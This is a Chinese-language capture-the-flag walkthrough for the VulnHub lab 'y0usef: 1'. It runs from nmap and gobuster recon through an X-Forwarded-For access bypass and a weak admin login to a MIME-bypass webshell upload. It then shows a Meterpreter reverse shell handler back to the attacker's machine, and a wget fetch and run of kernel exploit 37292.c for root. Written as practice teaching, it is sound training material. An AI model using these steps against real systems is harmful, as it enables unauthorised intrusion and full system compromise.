VulnHub-y0usef: 1 靶场渗透测试
字数 1356 2025-08-15 21:33:24
VulnHub-y0usef: 1 靶场渗透测试教学文档
靶场信息
- 靶场地址: https://www.vulnhub.com/entry/y0usef-1,624/
- 难度等级: 简单
- 目标: 获取user.txt和root.txt文件
- 运行环境: VirtualBox(网络桥接模式)
- 渗透测试系统: Kali Linux
一、信息收集阶段
1. 获取靶机IP地址
使用nmap扫描本地网络,定位靶机IP:
nmap -sP 192.168.1.0/24 | grep -B 2 -A 0 "VirtualBox"
发现靶机IP为192.168.31.43
2. 端口扫描与服务识别
nmap -sS -sV -T5 -A -p- 192.168.31.43
扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
36274/tcp open status 1 (RPC #100024)
3. Web应用信息收集
3.1 访问Web服务
直接访问http://192.168.31.43显示:
"Sorry, the site is under construction soon, it run"(网站正在建设中)
3.2 目录扫描
使用gobuster进行目录爆破:
gobuster dir -u 192.168.31.43 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt -s 200,204,301,302,307,401
发现重要目录:/adminstration (Status: 301)
访问该目录显示403 Forbidden,需要绕过访问控制
3.3 绕过访问控制
通过添加X-Forwarded-For请求头绕过:
- 方法1:使用Burp Suite添加
X-Forwarded-For: 127.0.0.1 - 方法2:使用Firefox插件"X-Forwarded-For Header"添加该请求头
成功绕过后显示登录页面
3.4 扫描/adminstration子目录
gobuster dir -u 192.168.31.43/adminstration -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt -s 200,204,301,302,307,401
发现以下子目录:
/include (Status: 301)
/logout (Status: 301)
/upload (Status: 301)
/users (Status: 301)
/bootstrap (Status: 301)
二、漏洞利用阶段
1. 弱口令登录
尝试常用弱口令,发现:
- 用户名:admin
- 密码:admin
(注:若无法猜测,可使用Burp Suite进行爆破)
2. 文件上传漏洞利用
2.1 信息收集
- Web服务器: Apache 2.4.10
- 编程语言: PHP 5.5.9
- 操作系统: Ubuntu
2.2 上传测试
- 上传jpg文件失败,png与gif成功
- 存在MIME类型检查
2.3 绕过MIME类型检查
使用Burp Suite拦截上传请求:
- 上传php文件时,修改Content-Type为image/jpg
- 保持php后缀不变
示例:
Content-Type: image/jpg
filename="phpgsl.php"
2.4 获取Webshell
上传成功后,使用哥斯拉连接Webshell:
http://192.168.31.43/adminstration/upload/files/1611031692phpgsl.php
2.5 反弹Shell
使用哥斯拉的PMeterpreter模块反弹shell:
- 在Kali上启动msfconsole:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.187
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run
- 在哥斯拉中设置目标为Kali IP和端口,执行反弹
2.6 升级为交互式Shell
python -c 'import pty; pty.spawn("/bin/bash")'
2.7 获取user.txt
找到user.txt内容:
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
Base64解码后得到:
ssh : user : yousef pass : yousef123
三、权限提升阶段
1. 系统信息收集
uname -a
输出:
Linux yousef-VirtualBox 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686 i686 i686 GNU/Linux
2. 搜索内核漏洞
searchsploit Linux 3.13.0
发现可用提权漏洞(如37292.c)
3. 下载并编译提权EXP
- 在Kali上启动HTTP服务:
python3 -m http.server 8000
- 在靶机上下载EXP:
wget http://192.168.1.187:8000/37292.c
- 编译并执行:
gcc 37292.c -o exp
./exp
4. 获取root.txt
找到root.txt内容,Base64解码后得到:
You've got the root Congratulations any feedback content me twitter @y0usef_11
总结
本次渗透测试涉及的关键技术点:
- 网络扫描与目标识别
- Web目录爆破
- 请求头伪造绕过访问控制
- 弱口令利用
- 文件上传漏洞利用与绕过
- Webshell获取与反弹Shell
- 内核漏洞提权
整个渗透过程相对基础,但涵盖了渗透测试的典型流程,适合初学者练习。